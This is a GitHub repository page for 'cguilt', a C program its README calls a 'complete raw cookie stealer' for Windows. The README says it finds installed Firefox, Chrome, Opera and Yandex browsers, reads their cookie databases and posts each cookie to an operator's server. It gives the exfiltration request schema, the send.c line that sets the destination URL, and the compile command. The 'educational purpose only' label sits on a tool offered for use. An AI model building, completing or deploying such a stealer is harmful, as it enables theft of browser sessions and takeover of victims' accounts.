kurumishka / cguilt

Experiments with browser's cookies.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

cguilt

Complete raw cookie stealer for MS Windows. Educational purpose only. Have runtime dependencies, such as libcurl. Binaries are not distributed for obvious reason. Also cookies are not decrypted for some reason, but I'm one hundred percent working on it. Maybe.

Working principe just pretty simple: first checks what browsers are currently installed on the local machine. There is only four variants for now (Firefox, Chrome, Opera, Yandex), then reads their cookie file databases and sends content to your server through API requests. Really simple, huh.

If you want to build your own binary, scroll down. You'll also you need a serverside to accept incoming POST requests with some query params in it. To check the template of incoming params, scroll a little bit down.

query template

In incoming API requests query schema has three parametrs:

  1. host. Cookie host value. Cguilt sending cookies one-by-one, so the one request is the one cookie pair. String, max 128 chars long.
  2. value. Cookie content value. String, max 1024 chars long.
  3. b_type. Browser type. Not exactly every browser here, but only Chromium in general (= 1) and Gecko (= 2).

build

Install libcurl and sqlite3 libs. Before compilation change destination server adress in 55th string in send.c:

curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:5000/api_post");

Compile everything.

$ gcc -o <name> main.c send.c direct.c `pkg-config --cflags --libs sqlite3 libcurl`

About

Experiments with browser's cookies.

License:MIT License


Languages

Language:C 100.0%